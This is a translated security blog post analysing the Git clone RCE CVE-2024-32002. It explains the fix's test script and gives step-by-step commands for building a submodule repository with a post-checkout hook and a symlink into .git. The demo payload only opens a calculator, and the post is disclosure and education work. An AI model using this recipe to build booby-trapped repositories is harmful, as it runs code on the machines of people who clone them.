Git RCE – CVE 2024-32002 | 技术分析和本地复现

Git RCE – CVE 2024-32002 | 技术分析和本地复现

Aseem Shrey Ots安全 2024-05-25 12:35

在这篇博客中,我们将深入研究 CVE-2024-32002,该漏洞允许仅通过克隆 repo 即可实现远程代码执行 (RCE)。

根据 Github 博客 –

CVE-2024-32002(严重,Windows 和 macOS):带有子模块的 Git 存储库可以诱骗 Git 在克隆操作期间执行来自 .git/ 目录的Hook,从而导致远程代码执行。
– -github.blog,2024 年 5 月 14 日

https://github.blog/2024-05-14-securing-git-addressing-5-new-vulnerabilities/

Affected Versions - v2.45.0 v2.44.0 <=v2.43.3 <=v2.42.1 v2.41.0 <=v2.40.1 <=v2.39.3

升级它以避免通过克隆恶意 repo 来执行远程代码。

tl;dr

可以以利用 Git 中的错误的方式制作带有子模块的存储库,从而欺骗 Git 将文件写入 .git/ 目录而不是子模块的工作树。这允许编写一个将在克隆操作仍在运行时执行的Hook,使用户没有机会检查正在执行的代码。
– – Github 安全公告 ( GHSA-8h77-4q3w-gfgv )

https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv

因此,只需克隆特制的 repo 即可完成远程代码执行 (RCE)。

分析

在CVE-2024-32002的 NIST 数据库中,您会找到对代码提交的引用,其中修复了此错误。让我们去那里,这是提交链接。

Git 提交修复问题

如果你检查提交,有两个文件 –
– builtin/submodule–helper.c

  • t/t7406-submodule-update.sh

第二个文件(
t/t7406-submodule-update.sh),包含确保在 git 的后续版本中自动检查此错误的测试。

它的做法是
tell.tale
在当前目录中创建一个文件,如果 git 中存在错误,并且执行了代码,则在克隆后,该文件应该在测试结束时存在。这就是整个测试用例的目的。

我们利用它来创建我们的漏洞,在本例中为恶意 repo,当克隆时会在受害者的机器上执行代码。

让我们深入研究代码 –

test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
  'submodule paths must not follow symlinks' '
  # This is only needed because we want to run this in a self-contained
  # test without having to spin up an HTTP server; However, it would not
  # be needed in a real-world scenario where the submodule is simply
  # hosted on a public site.
  test_config_global protocol.file.allow always &&
  # Make sure that Git tries to use symlinks on Windows
  test_config_global core.symlinks true &&
  tell_tale_path="$PWD/tell.tale" &&
  git init hook &&
  (
    cd hook &&
    mkdir -p y/hooks &&
    write_script y/hooks/post-checkout <<-EOF &&
    echo HOOK-RUN >&2
    echo hook-run >"$tell_tale_path"
    EOF
    git add y/hooks/post-checkout &&
    test_tick &&
    git commit -m post-checkout
  ) &&
  hook_repo_path="$(pwd)/hook" &&
  git init captain &&
  (
    cd captain &&
    git submodule add --name x/y "$hook_repo_path" A/modules/x &&
    test_tick &&
    git commit -m add-submodule &&
    printf .git >dotgit.txt &&
    git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
    printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
    git update-index --index-info <index.info &&
    test_tick &&
    git commit -m add-symlink
  ) &&
  test_path_is_missing "$tell_tale_path" &&
  test_must_fail git clone --recursive captain hooked 2>err &&
  grep "directory not empty" err &&
  test_path_is_missing "$tell_tale_path"

下面是代码的分解以及每个部分的详细解释。

1.测试设置:

test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
    'submodule paths must not follow symlinks' '

此行开始一个新的测试用例。
test_expect_success是 Git 测试框架中使用的函数。测试标有 和
CASE_INSENSITIVE_FS,
SYMLINKS表示它与不区分大小写的文件系统和支持符号链接的系统相关。测试描述为“子模块路径不得遵循符号链接”。

2.全局配置:

test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&

这些命令设置全局 Git 配置:
– protocol.file.allow always
允许该
file://协议进行 Git 操作。

  • core.symlinks true
    确保 Git 使用符号链接,特别是与 Windows 系统相关的。

  • 之所以需要这样做,是因为这是一个独立的测试,无需启动 HTTP 服务器。然而,在实际场景中,如果子模块只是托管在公共网站上,则不需要这样做。

3.定义 Tell-tale 文件的路径:

tell_tale_path="$PWD/tell.tale" &&
  • 这会将一个变量设置
    tell_tale_path为当前目录中名为的文件
    tell.tale,该文件将用于检测后检出hook是否运行。

4.初始化存储库(hook)并创建hook:

git init hook &&
(
    cd hook &&
    mkdir -p y/hooks &&
    write_script y/hooks/post-checkout <<-EOF &&
    echo HOOK-RUN >&2
    echo hook-run >"$tell_tale_path"
    EOF
    git add y/hooks/post-checkout &&
    test_tick &&
    git commit -m post-checkout
) &&
  • 初始化一个名为 的新 Git 存储库
    hook。

  • 导航到
    hook目录。

  • 创建目录结构
    y/hooks。

  • 编写一个
    post-checkout输出
    HOOK-RUN并写入
    hook-run的
    hook脚本
    tell_tale_path。

  • 添加并提交
    post-checkout
    hook。

5.设置hook存储库路径:

hook_repo_path="$(pwd)/hook" &&

将变量设置
hook_repo_path为存储库的绝对路径
hook。

6.初始化另一个存储库(captain)并添加子模块:

git init captain &&
(
    cd captain &&
    git submodule add --name x/y "$hook_repo_path" A/modules/x &&
    test_tick &&
    git commit -m add-submodule &&
  • 初始化一个名为 的新 Git 存储库
    captain。

  • 导航到
    captain目录。

  • 将存储库作为名为 的
    hook子模块添加。
    A/modules/xx/y

  • 提交子模块的添加。

7.创建到目录的符号链接.git:

    printf .git >dotgit.txt &&
    git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
    printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
    git update-index --index-info <index.info &&
    test_tick &&
    git commit -m add-symlink
) &&
  • 在本节中,测试手工制作
    .git文件夹的符号链接并将其更新到 git index。

  • Git 索引是保存暂存内容的地方。您可以在此处阅读更多信息https://stackoverflow.com/a/4086986。

  • dotgit.txt
    创建一个包含字符串的文件
    .git。

  • 从 创建一个 Git blob 对象dotgit.txt并将其哈希存储在中dot-git.hash。

  • 为使用来自的哈希的符号链接(模式
    120000)准备一个索引条目。
    .gitdot-git.hash

  • 使用此条目更新 Git 索引,然后提交符号链接的添加。

8.确保 Tell-tale 文件不存在并测试克隆:

test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • 检查
    tell_tale_path不存在。

  • 尝试将
    captain存储库递归克隆到新目录中
    hooked。克隆操作预计会失败。

  • 验证错误消息是否包含“目录非空”。

  • Ensures
    tell_tale_path仍然不存在,确认
    hook没有运行。

从修复中重建错误

现在,测试几乎已经完成了整个漏洞利用,只是编写它时无需实际创建 git repo,托管在任何流行的 git 服务上。我们将进行一些修改,并指导您在 github.com 托管的 git repos 上重新创建整个设置。

1.创建两个空的
repos -captain和
hook。

  1. git clone将上述每一个复制到您的本地机器上。

git clone 两个仓库

3.进入
hook目录 -并使用命令
-cd hook创建目录- 。
y/hooksmkdir -p y/hooks

  1. hooks现在在文件夹内的新目录中创建一个文件
    y,名称为 –
    post-checkout-
    touch ./y
    /hooks/post-checkout
    。现在目录结构应该是这样的 –

现在我们要创建特定名称的文件的原因post-checkout是因为post-checkout它是一个git hook。因此,使用 git hooks ,你可以在发生某些重要操作时执行自定义脚本,例如在本例中,当用户在其机器上签出代码时。

5.在./y/hooks/post-checkout文件中添加此代码片段 –

#!/bin/sh
open -a Calculator

在 Mac 上执行上述脚本时,会打开一个计算器。在 Windows 上,有效载荷将更改为 –

#!/bin/sh
powershell -Command "Start-Process 'calc.exe'"

  1. 让我们使其
    post-checkout可执行
  2. git update-index –chmod=+x y/hooks/post-checkout 

  3. 现在暂存更改,提交更改并推送

  4. git add . && git commit -m post-checkout && git push origin main。

现在我们已经完成了
hook的准备。

创建 captain repo

cloned
这是受害者获取的 repo ,
hook其子模块为 repo。让我们看看如何准备这个 repo。

1.进入captain我们之前克隆的仓库

2.hook使用以下命令将 repo添加为此 repo 中的子模块

git submodule add --name x/y "[email protected]:SecureMyOrg/hook.git" A/modules/x

3.现在我们将创建一个文件
dotgit.txt,其内容为字符串 –
.git

4.之后我们创建同一个文件的 git hash-object,并创建一个
index.info包含 git hash-object 内容的文件。该值120000表示git 中的符号链接https://git-scm.com/book/en/v2/Git-Internals-Git-Objects#_tree_objects。

printf .git >dotgit.txt 
git hash-object -w --stdin <dotgit.txt >dot-git.hash 
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info

  1. 我们将使用此index.info文件通过精心制作的有效负载更新 git 索引index.info脚本中使用的文件结构经过特殊格式化,可使用符号链接条目更新 Git 索引。让我们分解格式并了解其组成部分:

结构index.info

其中的每一行index.info代表一个要添加到 Git 索引的条目。每行的格式为:

<mode> <object hash> <stage>\t<path>

在哪里:
:文件模式,表示文件的类型及其权限。对于符号链接,这是120000。

  • :Git 对象数据库中对象的 SHA-1 哈希值。这是一个 40 个字符的十六进制字符串,用于唯一标识文件或符号链接目标的内容。

  • :阶段编号,用于处理合并冲突。适用0于普通条目。

  • :相对于存储库工作目录根目录的文件路径。

  • 示例细分

    index.info以下是脚本中的示例行:

    printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
    

    让我们详细分析一下:

    1.模式 (120000):
    – 120000是 Git 中符号链接的文件模式。

    • 它表明该条目是一个符号链接。

    2.对象哈希(%s):
    – 该占位符 ( %s) 由 的实际对象哈希值替换dot-git.hash。

    • 哈希唯一地标识了文件的内容(在本例中为字符串.git)。

    3.阶段 (0):
    – 0表示正常阶段,意味着该条目没有合并冲突。

    4.路径 (a):
    – a是符号链接在存储库中的放置路径。

    • 在脚本上下文中,这只是一个占位符,通常是一个有效的文件路径。

    完整示例

    让我们将这一切与一个假设的哈希放在一起:

    假设
    dot-git.hash包含
    e69de29bb2d1d6434b8b29ae775ad8c2e48c5391。该
    index.info行将是:

    120000 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0  a
    

    让我们看看当前索引。这可以使用命令 – 来完成
    git ls-files –stage。

    git 当前索引和状态

    该git update-index –index-info命令会读取index.info并相应地更新 Git 索引。此命令用于使用指定的模式、哈希和路径暂存索引中的符号链接条目。

    git 更新索引

    6.现在让我们将所有内容提交到 repo 并推送它。

    git commit -m "Add symlink to .git"
    git push origin main
    

    完成上述操作后,你应该得到以下目录结构:

    两个存储库的文件结构

    开演时间

    现在我们已准备就绪。让我们看看实际效果。为此,我们只需递归 git clonecaptain存储库。以下是我们可以执行的操作

    git clone --recursive [email protected]:SecureMyOrg/captain.git hooked
    

    影响

    任何克隆特制存储库的人都可以在不知情的情况下执行恶意代码。因此,只需克隆存储库即可实现远程代码执行。

    更新

    为了保证您的系统安全,请升级git到最新版本。

    谢谢!希望你喜欢阅读这篇文章并学到一些东西。

    Git RCE - CVE 2024-32002 | Technical Walkthrough & Recreating The Bug Locally
    https://securemyorg.com/blogs/git-rce-cve-2024-32002/
    

    感谢您抽出

    .

    .

    来阅读本文

    点它,分享点赞在看都在这里